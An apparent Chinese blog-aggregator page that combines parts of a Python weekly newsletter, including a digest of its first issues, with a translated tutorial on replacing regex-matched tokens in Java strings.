它们都是关系型数据库的对象关系映射(ORM)框架,作者基于从 Django ORM 切换到 SQLAlchemy 的视角,介绍了两者的一些差异和正确用法,避免在使用时犯错。
__init__.py 是 Python 中特有的一个文件,为什么会需要用到这样的文件呢?它的作用是什么?如何自定义这个文件,又有哪些使用技巧和最佳实践呢?推荐阅读这篇很详细的教程。
一篇系统分析 Mojo 的文章,作者想研究的问题是:Mojo 是什么,未来会如何发展?Mojo 对通用科学计算(即不仅是 AI)有用么?它什么时候才真正可用,目前还缺少什么?作者不认可流传的“Mojo==Python++ ”说法,而是把它视为一门新颖的静态语言来研究。
不要在代码中直接用数字表示 HTTP 请求的状态码,这属于“魔术数字”,并不规范。Django、Starlette 和 Litestar 等框架都提供有枚举值,但更推荐的是使用标准库的http.HTTPStatus ,另外从 Python 3.12 开始,还可以用HTTPStatus.is_success 表示 2xx 状态码。(附:本文出自作者日更的“降临节日历”系列文章,多是些编程小技巧,去博客阅读
PEP-505 None 感知运算符 是一份被推迟的提案,它的用途是简化判空时的条件处理。文章介绍了 PEP 里的三种 None 感知运算符,并做了一个简单版实现。文末还提及了不支持这份提案的两个评论,我想附和一句:还是不要加了,继续 Deferred 吧!
Code is read more than written”是编程的基本常识之一,提醒着程序员要关注代码的可读性和可维护性。作者将它提炼为“maintainer > author”,但是,编码只是达成目标的手段,它为用户提供服务,因此是“user > dev”,而且最终目的是为业务创造价值,因此初步推出“biz > user > ops > dev”。这个结论对么?作者逐一考虑/权衡各项因素的重要性,又列出了多组关系,最终简明的结论是:user > ops > dev,biz > ops > dev,biz ≹ user。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇 6.2 万字的长文,方便你随时查看和下载。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

由新加坡国立大学和字节跳动联合推出,利用一张人像和动作图生成人物的运动视频。(star 7.8K)
让你在 PHP 中使用 Python 的函数和类库,或者在 Python 中使用 PHP 的包。实现原理是在进程内同时创建了 ZendVMCPython VM,直接在进程堆栈空间内使用 C 函数互相调用。目前不支持 Python 多线程和异步 IO 特性。
基于 OpenAI 的 Whisper Large v3 的音频转录工具,转录 150 分钟的音频仅需 98 秒。(star 4.2K)(附:另一个 faster-whisper:使用 CTranslate2 作更快的 Whisper 转录 ,star 6.2K)
非常有创意的项目。在前端项目中引入它的组件,用自然语言描述你想实现的效果,它就会辅助生成实现代码。
Pydantic 推出的 Web 界面开发框架,可使用 React 构建响应式 Web 应用程序,而无需编写一行 JavaScript。(star 2.7K)
Mistral AI 7B 的表现极为亮眼,在评分上接近了 Llama 70B 版本。这个项目是官方开源,用于快速部署和使用这个模型。(star 5.4K)
用于测试网络条件是否符合预期,支持验证 DNS 和 HTTP 连接,可配置断言条件,支持自定义验证内容。
由 Meta 的应用强化学习团队开源,采用模块化设计,为生产环境提供了一系列独特的功能,包括动态行为空间、离线学习、智能神经探索、安全决策制定、历史总结和数据增强。(star 1.4K)
一个 PyTorch 的展示项目,用不到 1000 行 Python 代码,实现简单高效的文本生成。(star 4.1K)
一个资源收集型仓库,包含数据分析、数据科学、机器学习、生成式 AI 等专题的大量视频列表。(star 4.2K)
中国大模型列表大全,全面收集有明确来源的大模型情况,包括机构、来源信息和分类等,目前列表中有 189 个国内大模型。(star 2.6K)
支持对 JSON、MessagePack、YAML 和 TOML 等格式的序列化与校验,拥有超高性能。(star 1.5K)
🎁Python潮流周刊🎁已开源在 Github 上,目前获得 940 star,如果周刊对你有帮助,可以给颗 star 支持下么?(有没有可能在 2023 年的最后两周突破 1K star 呢?)

🐢播客&视频

“Hidden Figures of Python”播客的目标是展示 Python 社区中少数群体的声音。第一期节目是四名女性主播介绍播客的起源和对 Top Python 播客中女性嘉宾稀少的现象分析。
这期播客的嘉宾是上文 msgspec 的作者 Jim Crist-Harif。
DjangoCon US 是一个专注于 Django Web 框架的年度性大会,今年的视频已发布。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 16, 2023 12:00 AM

December 11, 2023

javakk

Java中如何使用正则表达式替换字符串

当我们需要在Java中查找或替换字符串中的值时,我们通常使用正则表达式。这使我们能够确定字符串的部分或全部是否与模式匹配。使用Matcher和string中的replaceAll方法,我们可以很容易地将相同的替换应用于字符串中的多个标记。

在本文中,我们将探讨如何为字符串中的每个token标记应用不同的替换。

我们还将研究一些调整正则表达式以正确识别标记的技巧。

在我们能够构建标记替换算法之前,我们需要了解围绕正则表达式的Java API。让我们使用捕获组和非捕获组来解决一个棘手的匹配问题。

让我们想象一下,我们想要构建一个算法来处理字符串中的所有标题词。这些单词以一个大写字符开头,然后以小写字符结束或继续。

我们的输入可能是:

"First 3 Capital Words! then 10 TLAs, I Found"

从标题词的定义来看,它包含以下匹配项:

  • First
  • Capital
  • Words
  • I
  • Found

识别这种模式的正则表达式是:

"(?<=^|[^A-Za-z])([A-Z][a-z]*)(?=[^A-Za-z]|$)"

为了理解这一点,让我们将其分解为其组成部分。我们将从中间开始:

[A-Z]

将识别单个大写字母。

我们允许使用单个字符的单词或后面跟着小写字母的单词,因此:

[a-z]*

识别零个或多个小写字母。

在某些情况下,以上两个字符类足以识别我们的令牌。不幸的是,在我们的示例中,有一个单词以多个大写字母开头。因此,我们需要表达的是,我们发现的单个大写字母必须是第一个出现在非字母之后的字母。

同样,当我们允许单个大写字母单词时,我们需要表示我们找到的单个大写字母不能是多个大写字母单词中的第一个。

表达式[^A-Za-z]的意思是“没有字母”。我们将其中一个放在非捕获组中表达式的开头:

(?<=^|[^A-Za-z])

(?<=开头的非捕获组会向后看,以确保匹配项出现在正确的边界上。其末尾的对应组会对后面的字符执行相同的操作。

但是,如果单词接触到了字符串的开头或结尾,那么我们需要考虑到这一点,这就是我们在第一组中添加^|的地方,使其表示“字符串或任何非字母字符的开头”,并且我们在最后一个非捕获组的结尾添加了|$,使字符串的结尾成为边界。

当我们使用find时,在非捕获组中找到的字符不会出现在匹配中。

我们应该注意,即使是像这样的简单用例也可能有许多边缘用例,因此测试我们的正则表达式是很重要的。为此,我们可以编写单元测试,使用IDE的内置工具,或者使用Regexr等在线工具。

使用名为EXAMPLE_INPUT的常量中的示例文本和名为TITLE_CASE_PATTERN的模式中的正则表达式,让我们在Matcher类中使用find来提取单元测试中的所有匹配项:

Matcher matcher = TITLE_CASE_PATTERN.matcher(EXAMPLE_INPUT);
List<String> matches = new ArrayList<>();
while (matcher.find()) {
    matches.add(matcher.group(1));
}

assertThat(matches)
  .containsExactly("First", "Capital", "Words", "I", "Found");

这里我们使用Pattern上的matcher函数来生成matcher。然后,我们在循环中使用find方法,直到它停止返回true以迭代所有匹配项。

每次find返回true时,Matcher对象的状态都设置为表示当前匹配。我们可以使用group(0)检查整个匹配,也可以使用基于1的索引检查特定的捕获group。在本例中,我们需要的工件周围有一个捕获group,因此我们使用group(1)将匹配项添加到列表中。

到目前为止,我们已经找到了想要处理的单词。

但是,如果这些单词中的每一个都是我们想要替换的标记,那么我们需要有关于匹配的更多信息来构建结果字符串。让我们看看Matcher的其他一些属性,它们可能会对我们有所帮助:

while (matcher.find()) {
    System.out.println("Match: " + matcher.group(0));
    System.out.println("Start: " + matcher.start());
    System.out.println("End: " + matcher.end());
}

此代码将显示每个匹配的位置。它还显示group(0)匹配,即捕获的所有内容:

Match: First
Start: 0
End: 5
Match: Capital
Start: 8
End: 15
Match: Words
Start: 16
End: 21
Match: I
Start: 37
End: 38
... more

在这里,我们可以看到每个匹配只包含我们期望的单词。start属性显示字符串中匹配项的从零开始的索引。结尾显示后面字符的索引。这意味着我们可以使用substring(start,end-start)从原始字符串中提取每个匹配项。这基本上就是group方法为我们所做的。

现在我们可以使用find来迭代匹配,让我们来处理标记。

让我们继续我们的例子,使用我们的算法将原始字符串中的每个标题词替换为其对应的小写字母。这意味着我们的测试字符串将转换为:

"first 3 capital words! then 10 TLAs, i found"

PatternMatcher类不能这样做,所以我们需要构造一个算法。

替换算法

以下是算法的伪代码:

  • 以空输出字符串开始
  • 对于每个匹配:
  • 将匹配之前和之前任何匹配之后的任何内容添加到输出中
  • 处理此匹配并将其添加到输出
  • 继续,直到处理完所有匹配项
  • 将上次匹配后剩余的任何内容添加到输出

我们应该注意,该算法的目的是找到所有不匹配的区域并将它们添加到输出中,以及添加处理过的匹配。

我们希望将每个单词转换为小写,因此我们可以编写一个简单的转换方法:

private static String convert(String token) {
    return token.toLowerCase();
}

现在我们可以编写迭代匹配的算法。这可以使用StringBuilder进行输出:

int lastIndex = 0;
StringBuilder output = new StringBuilder();
Matcher matcher = TITLE_CASE_PATTERN.matcher(original);
while (matcher.find()) {
    output.append(original, lastIndex, matcher.start())
      .append(convert(matcher.group(1)));

    lastIndex = matcher.end();
}
if (lastIndex < original.length()) {
    output.append(original, lastIndex, original.length());
}
return output.toString();

我们应该注意,StringBuilder提供了一个方便的append版本,可以提取子字符串。这与Matcherend属性配合得很好,可以让我们提取自上次匹配以来的所有未匹配字符。

既然我们已经解决了替换某些特定标记的问题,为什么不将代码转换成一种可以用于一般情况的形式呢?不同实现之间唯一不同的是要使用的正则表达式,以及将每个匹配转换为替换的逻辑。

我们可以使用Java Function<Matcher,String>对象来允许调用方提供处理每个匹配的逻辑。我们可以使用一个名为tokenPattern的输入来查找所有的标记:

// same as before
while (matcher.find()) {
    output.append(original, lastIndex, matcher.start())
      .append(converter.apply(matcher));

// same as before

这里,正则表达式不再是硬编码的。相反,converter函数由调用者提供,并应用于find循环中的每个匹配。

让我们看看通用方法是否与原始方法一样有效:

assertThat(replaceTokens("First 3 Capital Words! then 10 TLAs, I Found",
  TITLE_CASE_PATTERN,
  match -> match.group(1).toLowerCase()))
  .isEqualTo("first 3 capital words! then 10 TLAs, i found");

在这里,我们看到调用代码非常简单。转换函数易于用lambda表示。测试通过。

现在我们有了一个标记替换器,所以让我们尝试一些其他用例。

特殊字符转义

假设我们想使用正则表达式转义字符\来手动引用正则表达式的每个字符,而不是使用quote方法。也许我们正在引用一个字符串作为创建一个正则表达式以传递给另一个库或服务的一部分,所以块引用表达式是不够的。

如果我们可以表示表示“正则表达式字符”的模式,那么使用我们的算法很容易将它们全部转义:

Pattern regexCharacters = Pattern.compile("[<(\\[{\\\\^\\-=$!|\\]})?*+.>]");

assertThat(replaceTokens("A regex character like [",
  regexCharacters,
  match -> "\\" + match.group()))
  .isEqualTo("A regex character like \\[");

对于每个匹配项,我们都将\字符作为前缀。由于\是Java字符串中的一个特殊字符,因此它用另一个\转义。

实际上,这个例子包含了额外的字符,因为regexCharacters模式中的字符类必须引用许多特殊字符。这显示了正则表达式解析器,我们使用它们来表示它们的文本,而不是正则表达式语法。

替换占位符

表示占位符的常用方法是使用类似${name}的语法。让我们考虑一个用例,其中模板“Hi${name}at${company}”需要从名为placeholderValues的映射中填充:

Map<String, String> placeholderValues = new HashMap<>();
placeholderValues.put("name", "Bill");
placeholderValues.put("company", "Baeldung");

我们只需要一个好的正则表达式来查找${…}标记:

"\\$\\{(?<placeholder>[A-Za-z0-9-_]+)}"

是一种选择。它必须引用$和初始大括号,否则它们将被视为正则表达式语法。

此模式的核心是占位符名称的捕获组。我们使用了一个允许字母数字、破折号和下划线的字符类,这应该适合大多数用例。

但是,为了使代码更具可读性,我们将此捕获组命名为占位符。让我们看看如何使用命名的捕获group:

assertThat(replaceTokens("Hi ${name} at ${company}",
  "\\$\\{(?<placeholder>[A-Za-z0-9-_]+)}",
  match -> placeholderValues.get(match.group("placeholder"))))
  .isEqualTo("Hi Bill at Baeldung");

在这里,我们可以看到从匹配器中获取命名group的值只需要使用名称为输入的group,而不是数字。

结论

在本文中,我们研究了如何使用强大的正则表达式在字符串中查找标记。我们学习了find方法如何与Matcher一起工作,以显示匹配项。

然后,我们创建并推广了一个算法,允许我们逐个标记进行替换。

最后,我们看了几个转义字符和填充模板的常见用例。

代码示例github地址:https://github.com/eugenp/tutorials/tree/master/core-java-modules/core-java-regex-2

原文地址:https://www.baeldung.com/java-regex-token-replacement

by sofia at December 11, 2023 12:00 AM

pythoncat

Python 潮流周刊第一季精华合集(1~30)

你好,我是猫哥。Python 潮流周刊每 30 期为一季,以下是第 1~30 期周刊的内容合集,全文共计 62K 字!
为了给大家省流/提升网页加载速度,原周刊中大部分的图片及无关内容均已删除,建议你收藏慢慢看!
如果你想获取本文的 PDF 版本,请在公众号“Python猫”里发送“W30”,获取下载链接。

我还针对这 30 期内容做了一些总结分享,如果你感兴趣的话,可访问 这个地址 阅读。

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly
如果你不方便或不习惯使用微信,无法访问上述平台,欢迎访问以下地址(支持邮箱登录):https://afdian.com/a/python_weekly

第1期(2023-05-13)

文章&教程

文章讨论了编程中处理错误的四种常见方法:返回错误代码(C、Go)、异常(Java、C#、Python、C++)、回调函数(JavaScript)和 Result 对象(Haskell、Rust、Kotlin)。对每种方法进行了分析,介绍了它们的优缺点以及使用时需要注意的地方。
文章介绍了描述器的实现原理,分析了 CPython 源码中描述器相关的字节码指令,并使用 Python 代码解释了描述器的执行逻辑。文章出自 Github 上的《深入理解 Python 虚拟机系列》,该系列已含 20+ 文章。
最近 AI 孙燕姿太火了!文章基于 Python3.10 和开源库 so-vits-svc(高表现力的语音合成模型)、Spleeter(人声和伴奏分离)和 FFMPEG(声音与伴奏合并),手把手演示了让 AI 孙燕姿演唱歌曲。(PS.由于担心侵权风险,so-vits-svc 项目已经归档了)
文章介绍了 Python 的 C 语言 API 相关特性,最后实现了一个模仿官方 datetime 的 C 扩展模块。文章出自《Python 之 C 语言 API 系列教程》的第一篇,该系列目前已更新两篇。
这是一个系列文章,目前包含 31 篇文章,最近介绍的几个工具是数据库相关的:Neo4j(一个 NoSQL 图数据库,使用 Py2neo 操作)、PostgreSQL(一个关系型数据库,使用 Psycopg2 操作)、MongoDB、Access、ClickHouse、Redis 等。
Łukasz Langa 发起的新提案,提议支持在模块的全局命名空间中定义一个__call__对象以使模块可直接调用,__call__对象可以是一个标准函数或任意可调用对象。提案目前是草稿状态,未采纳。
在较新 Linux 系统上使用 pip install 时可能遇到“externally managed environment”错误。原因:Linux 发行版已预装某些 Python 包,pip install 可能导致系统包冲突。解决方法:开发时用虚拟环境;Docker 里不用系统 Python;需最新工具时用 pipx。Python 包管理较为痛苦,短时间内难以改善。
Bevy v2.0 是一个强大的依赖注入框架,可以帮助简化 Python 应用程序的管理。文章介绍了三种解决依赖关系的方法:全局变量、参数传递和依赖注入。Bevy v2.0 使用的方法包括参数注入、属性注入、仓库和依赖构造函数等。

项目&代码

最近几个月,乘着人工智能的东风,Github 上天天都被 AI 相关的项目屠榜,相信读者们已经从各种渠道看到过那些知名的以 Python 为主的开源项目了。因此,为了不撞车,本周刊主要收录一些小而美的项目。本期以中文开发者的项目为主。
一个“有生命的”语音助手 Python 项目,支持与前端通信、语音识别、chatGPT 接入和语音合成。前端部分可渲染人物动画、录音和播放声音。
具有以下特点:使用 top1 检索替换输入源特征为训练集特征来杜绝音色泄漏;即便在相对较差的显卡上也能快速训练;使用少量数据进行训练也能得到较好结果(推荐至少收集 10 分钟低底噪语音数据);可以通过模型融合来改变音色(借助 ckpt 处理选项卡中的 ckpt-merge);简单易用的网页界面;可调用 UVR5 模型来快速分离人声和伴奏。
一个可以将电子书翻译成指定语言(原文译文对照)的 Calibre 插件。支持多种翻译引擎,包括 Google 翻译、ChatGPT 以及 DeepL。支持所有 Calibre 所支持的电子书格式(输入格式 48 种,输出格式 20 种)。支持批量翻译、支持缓存续译、提供大量自定义设置。
一个完全重写的超轻量级 Python 引擎,零依赖,零配置,可以在 Flash ≤ 64KB,RAM≤ 4KB 的平台下运行,极易部署和扩展,具有大量的中文文档和视频资料。

播客&视频

“每一位 hacker,每一位开发者,每一位程序员,都值得拥有一个属于自己的小生意”。这档播客已发布了几期关于独立开发者的话题,对作为程序员的我们,在技术、产品、创业等方面会有所启发。
在 4 月的 PyCon 上,有一个专门展示新型 Python 创业公司的展台,叫做 Startup Row。在这期节目中,主播与这些公司的创始人分别聊了 5-10 分钟,这期节目同时包含了播客和视频。
Mojo 是 LLVM 及 Swift 之父新开发的 AI 编程语言,号称比 Python 快 35000 倍。Mojo 已支持 Python 的许多核心特性,包括 async/await、错误处理、可变参数等等,但是它仍然处于早期阶段,缺少许多功能,比如还不支持类!
鼎鼎大名的吴恩达联合 OpenAI,推出了一个面向开发者的 ChatGPT 提示词课程。这是 B 站上的链接,配有双语字幕。

问题&讨论

知乎上的一个热门问题,已有 7.4 万人关注和 1200+ 回答。
v2ex 上的一个帖子,吐槽使用 Conda 遇到了各种问题,包括安装后找不到命令、安装依赖卡住不动、影响系统更新等等。
这个帖子提出了一个想法:让 Python 的 for 循环支持推导式语法“for i in x if i % 2 == 0:”。

第2期(2023-05-20)

文章&教程

介绍了装饰器的实现原理、带参装饰器、多装饰器、类装饰器和几个典型的示例。文章发布于 2014 年,代码用的还是 Python 2。之所以分享这篇文章,因为它是左耳朵耗子唯一以 Python 为话题的文章,而且写得详细到位。
出自我们的老朋友@古明地觉 的新系列《asyncio 系列》,半个月内已连载 14 篇。真想问问他是如何做到如此高产又高质量的?!文章回答了:如何设计既能接收协程又能接收普通 Python 函数的 API,如何强制事件循环的迭代,如何在不传递参数的情况下在任务之间传递状态……
介绍了 uWSGI 和 Nginx 的配置,实现对 Django 服务的反向代理及负载均衡。该文出自仍在连载的《Django 系列》,目前该系列包含 44 篇文章,能作为系统学习 Django 的参考材料。
Python 目前的包管理工具多得让人眼花缭乱,而 Conda 和操作系统的包管理器也存在诸多问题(本周刊第一期就有两则相关内容)。Flask 作者 Armin Ronacher 用 Rust 开发的 rye,借鉴了 Rust 包管理的经验,试图提供一个标准化的解决方案。这篇文章介绍了 rye 的安装及使用。
PyInstaller 可将 Python 程序打包为一个可执行文件,支持多个平台如 Windows、Mac 和 Linux。这是一篇简单清晰的使用教程,除了基础介绍外,难得的是它还介绍了两种打包方式的优缺点,以及打包后常见的 5 个问题。
Python 3.12 即将推出“Per-Interpreter GIL(PEP-684)”特性,它允许 Python 实现真正的并行处理。代码虽然已在 alpha 版本中,但目前只能通过 C-API 使用。文章使用 CPython 的test 模块演示了子解释器的示例。
nogil 项目是另一个试图实现真正多线程的方案,这篇文章测试发现 CPython 3.9-nogil 在单文件和多文件的情况下,比未修改的 CPython 3.9 分别快 2.5 倍和 10 倍。nogil 项目最新的进展是形成了正式的 PEP-703,相关介绍在此
PyCharm 官方推出的文章教程,指导在 PyCharm 中创建项目、导入包、使用 Typer 库创建 CLI 应用、运行和调试代码、创建和编辑运行配置,适合于新人学习练手。另外,PyCharm 2023.1.2 版本刚刚发布,可以去尝鲜!
在 Python 中,一切都是对象,包括。元类是 Python 的一项强大功能,允许你在运行时动态地创建类(实际是创建一个type 类型的对象)。文章探讨元类的基础知识,以及更高级的功能和示例。
有一道很常见的面试题:“当在浏览器输入 google.com 后会发生什么?”由于见得多了,每个人都能回答个一二,但是,经常跟终端打交道的我们,能否回答这个问题呢:当在终端输入命令后会发生什么?文章主要介绍了终端的历史、启动过程、命令的解析和执行过程。

项目&资源

该项目的目标是为 Win 10-11 中最常见的 CLI 包管理器(如 Winget、Scoop 和 Chocolatey)创建一个直观的 GUI。已支持软件包的安装、更新和卸载、排队安装、消息通知、黑暗模式、导入/导出等功能。
Pandas 无疑是目前最流行的数据分析和处理工具,当它结合了生成式 AI 的能力后,会不会更好用呢?答案似乎是的!pandasai 项目支持用文字的方式操作 Pandas 的数据对象,可简化很多 Pandas 库的操作。
一个专为 Prompt Engineer 设计的 LLM Prompt Layer 框架,支持连续对话、角色预设、对话存储、工具扩展等功能,可以无需代理直接访问,开箱即用。 通过 promptulate,你可以轻松构建起属于自己的 GPT 应用程序。
MicroPython 新发布了 1.20 版本,引入了一个新的轻量级包管理器,减小了代码大小,并增加了对许多新板的支持。另外,LWN 的这篇文章对此版本做了介绍,文章还提到 Anaconda 有可能在 Q2 将 PyScript 的运行时从 Pyodide 替换为 MicroPython。
使用本地化的 GPT 大模型与你的数据和环境交互,无数据泄露风险,100% 私密,100% 安全。基于 FastChat 构建大模型运行环境,并提供 vicuna 作为基础的大语言模型,通过 LangChain 提供私域知识库问答能力,支持插件模式,在设计上原生支持 Auto-GPT 插件。

播客&视频

断更许久的《捕蛇者说》播客回归了!本期的嘉宾是 PyO3 项目的维护者,他的另一个身份是 wechatpy 的作者。Rust 和 PyO3 项目能放大 Python 的优势,并能改造 Python 的应用生态。我们曾推荐过性能最快的代码分析工具 Ruff,另外 Flask 作者新开发的包管理工具 rye,它们都是 Rust 与 Python 结合的产物。(题外话:看到了捕蛇者说的三位主播发推/发博缅怀左耳朵耗子,想不到他对 Python 圈子有这么多渊源。R.I.P)
Pydantic 2.0 使用 Rust 重写了核心及顶层的代码,将对构建在其之上的库产生积极的影响,比如 FastAPI。播客邀请了 Pydantic 的 Samuel Colvin 以及 FastAPI 的 Sebastián Ramírez 一起采访,话题度很新!
我在上个月推荐过新上市的《流畅的 Python》中文第二版(链接),这里补充两则相关材料。这期播客来自 thoughtworks,是在《Fluent Python》英文第二版上市前的访谈,介绍了关于 Python 发展、不同语言的对比、新书的变化等。另外,他们还在 2020 年新书写作期间录了一期“The future of Python”,两期播客都有完整的文字稿。
一则简短的科普视频,介绍了七种分布式系统模式:Ambassador、Circuit Breaker、CQRS、Event Sourcing、Leader Election、Publisher/Subscriber、Sharding。视频中的动画和图例都非常直观和舒适,让人赏心悦目。

问题&讨论

V2ex 上的一个帖子,大家对这样的话题似乎很有发言欲。我在此最想推荐的 APP 是 Feedly 和 Substack,用于阅读 RSS 和 Newsletter。Feedly 对本周刊的素材采集帮助极大!(心愿:依靠读者的打赏,让我用上 Feedly Pro+ 的 AI 功能!)
2、rye 应该存在么?(英文)
前文已提到过 rye,那么,mitsuhiko 是出于什么考虑而开发了它呢?它想解决什么样的问题,想打造出一款什么样的工具呢?Python 官方对包管理会有什么发展支持呢?Github 上的这个问题引起了广泛的讨论。
V2ex 上的帖子,楼主分享了自己从读书到就业前几年的故事,评论区有不少人分享了自己的经历。你是如何开始自己的程序员之路的呢?

第3期(2023-05-27)

文章&教程

介绍类和对象概念,通过示例展示 Python 中的类和对象如何工作,包括定义、实例化和继承等。文章出自《Python全景系列》,目前已更新七篇。
介绍如何在 Tornado 中集成 umongo 和 motor,实现用异步非阻塞的方式与 MongoDB 进行交互。文章出自《tornado 并发编程系列》,目前已更新六篇。
演示了如何使用 langchain 和 ChatGPT 搭建一个本地的 PDF 知识库,文中使用了 pdfplumber 处理 PDF 文件、使用 streamlit 绘制 UI 界面。
一个流行的观点说:CPython 有一个大switch,会根据不同的 opcode 跳到相应的 case 分支去执行字节码。文章提出了质疑,最后的结论是:只要 Python 启用了 computed goto (比如在 Mac 和 Linux 上),字节码的执行就不依赖 switch。而这个功能在 Python 3.2 中就已是默认开启的。
文章的开头把我震惊了:“SQLite 源码有 15 多万行,但测试代码和脚本竟有九千多万行”!文章介绍了 SQLite 的架构,以及多个基于它的开源项目,如 Litefs、sql.js、absurd-sql、postlite、sqlite3vfshttp 等等,回答了为什么 SQLite 能在如此多领域有创新的项目出现?
通过 Docker 和 80 行左右的 Python 代码,实现一款类似 Midjourney 官方图片解析功能 Describe 的 Prompt 工具。提供了两个版本的工具,分别支持 CPU 和 GPU 推理使用。
分享了从 Rust 中学到的一些编程习惯:使用类型提示、使用数据类代替元组或字典、使用代数数据类型、使用“newtype”、使用构造函数、使用互斥锁等。总体而言,它们并不是那些“个人喜好式”的编程风格,而是切实能提升代码健壮性和可维护性的编程经验。
这个《Flask Tips》栏目已分享了 58 个使用 Flask 的小知识,另外其作者在最新的博文《我开发 Flask 程序时最喜欢用的库》中,介绍了 APIFairy、Frozen-Flask、Flask-SQLAlchemy 等 10 个常用的库。
9、Celery 的诸多问题(英文)
Celery 是一个分布式任务队列库,用于实现异步处理和定时任务等功能。但它有很多“问题”,这篇文章一口气列出了 15 个,是一份避坑指南。不过,并非所有问题都有解决方案,比如说它 API 接口不够 Pythonic、没有类型检查等,这些就只能“Live with it”了……
作者遇到一个静态验证 PromQL 查询的需求,但没有可用的 Python 库。文章介绍了使用 Gopy 将 Go 代码编译成 wheel 文件的方法,另外也提醒几个注意事项,比如对错误的处理、操作系统的兼容性问题、调试和测试的问题。
使用 Pandas 前需要加载数据,它支持非常多种数据格式,但哪种才最合适呢?文中给出了三个衡量标准(类型支持、磁盘格式、读写速率),并测试了三种数据文件(CSV、JSON 和 Parquet),你猜最后的结论是什么呢?
12、关于 PyPI 的一系列新闻/文章(英文)
PyPI 在 3 月上线了官方博客,5 月初刚宣布获得了 AWS 的 14.4 万美元赞助,用于开设一个新的安全工程师职位。巧的是本周密集出现了几件与安全相关的事情。
  • 5.21,PyPI 在连续一周受到恶意软件的侵扰后,临时暂停了新用户的注册及新项目的上传。(这有一篇文章,提到一则有相关性的新闻,这些恶意软件可能是趁 ChatGPT 的热点,通过窃取剪贴板内容从而劫持加密货币交易)
  • 5.23,PyPI 宣布移除 PGP 签名,因为近三年上传的签名仅有 36% 为有效的,移除这项功能有利于降低维护成本。(这有一篇文章,使用大量数据和统计图分析了 PyPI 上糟糕的 PGP 情况)
  • 5.24,PyPI 发了一篇博客,披露 PSF 收到了美国司法部的三张要求提供 PyPI 用户数据的传票,在律师的建议下,他们提供了司法部索要的数据,并公开了传票的相关细节。
  • 5.25,PyPI 发布《通过双因素身份验证保护 PyPI 帐户》,宣布在 2023 年底前,PyPI 上的帐户都必须启用双重验证(2FA),以此提升账户的安全性。
  • 5.26,PyPI 发布《减少 PyPI 中存储的 IP 数据》,介绍了团队出于不存储用户 IP 的目的而做的一些事情,试图既要保护用户的隐私,又能更好地运维管理。

项目&资源

使用 LangChain 作为 LLM 主体框架,使用 go-cqhttp 进行 QQ 机器人部署,TTS 支持 vits、edge-tts,语言模型支持ChatGPT 和 Claude。
技术栈: NextJs + TS + ChakraUI + Mongo + Postgres,支持私有化部署,可以在线体验。
文档将这种新格式与 TOML、YAML 和 JSON 分别做了对比,并详细展示了在 Python 中的使用方法。
命令行程序本就是无界面的,但是这对于用户来说不够友好。这个项目可以生成美观的界面,用于编辑和运行命令。
可在交互式会话期间,跟踪符号和单元格之间的数据流关系,支持的功能:显示执行建议、支持响应式执行、语法拓展、集成了 ipywidgets,等等。
solara 可使用 Reacton(纯 Python 实现的 React)创建基于 ipywidget 的程序。可用在 Jupyter Notebook,也可以作为独立的 Web 程序在 FastAPI 等框架中使用。
3.12 的最终版本计划在 10 月 2 日发布,目前发布了 beta 1 版本,意味着不会再加入新功能。总体而言,这个版本更为精简了(删除了很多函数、类和方法),性能方面也有很多优化。值得一提的是,这个版本虽然引入了 PEP-684(每个子解释器的独立 GIL),但需要等 3.13 版本实现 PEP-554(标准库中的多解释器)后,才真正的可用。
这是一个有意思的网站,可比较不同编程语言在 300 多项习惯用法上的区别,提升学习效率。我们这里比较了 Python 和 Rust,在网站首页可选的语言有 30 种。

播客&视频

哈佛大学计算机科学专业的入门课程,向初学者介绍计算机科学和编程基础,以及如何使用 Python 进行编程。目前已有 50 万人参与学习。
这期视频中,《Django by Example》书籍的作者推荐了 10 个 Django 插件,例如 Django Debug Toolbar、Django REST Framework、Django Channels,等等。

问题&讨论

来自一则匿名爆料,Windows 要利用开源项目 libarchive 实现对 rar 等格式的支持了。这会是真的么?
从可维护性、优雅性、灵活性和开发速度的角度来看,这两种语言的 API 开发体验哪种更好?

第4期(2023-05-31)

本期是特别加更版,聚焦于 Python 官方 2023 年语言峰会的系列博客。
每年在 PyCon US 开始之前,Python 核心开发者、维护者和特邀嘉宾都会聚在一起参加 Python 语言峰会:这是一个为期一天的会谈活动,讨论 Python 的未来方向。
今年的活动刚结束一个月,PSF 在本周一发布了多篇博客,回顾了峰会上的一些演讲内容。本期周刊将这些文章进一步作了摘要,分享给大家:
这是关于 C API 的三场演讲。首先,Mark Shannon 和 Guido van Rossum 提及当前 C API 对第三方扩展的支持不够,经常在升级版本时破坏它们的功能。会上的结论是收集 C API 的问题清单,再制定解决方案。
另一场演讲是关于 HPy,它是一个用于编写 Python 扩展模块的新的 API,旨在解决 CPython C API 的一些限制和问题。它的好处是编写的扩展模块可以在不同的 Python 实现中运行,例如 CPython 和 PyPy。但是,演讲者想要官方将它作为推荐方案的想法没有得到支持,一方面的原因是它还不够完善,更重要的原因则是 Guido 评论的自上而下的方法行不通。HPy 似乎是挺不错的克服 C API 问题的方案,但它要取代 C API 的地位,还为时尚早。
我们曾多次介绍过 nogil 项目,比如在周刊第二期就分享了一篇文章。在本次峰会上,nogil 的作者 Sam Gross 介绍了过去一年的进展,给出了 nogil 在性能上取得的令人满意的数据,还提出了更明确的路线图。大家最担心的依然是它提出编译成两个发行版、以及导致的调试困难等问题。(我们曾在 2 月份的一篇文章 中讨论过)
Joannah Nanjekye 的演讲介绍了 Scalene,这是一个基于采样的 Python 分析器,可以在报告中区分机器代码和 Python 代码。使用 C、C++ 或 Rust 编写的 Python 扩展会被编译为机器代码,因此很难用采样的方式分析。Scalene 解决了一些技术难题,是最受欢迎的 Python 分析工具之一。演讲者试探性提出将 Scalene 的成果集成到标准库 cProfile 中,但没有得到响应。最后,这个库还被拿来跟 Python 3.12 中引入的 perf 分析器作比对。
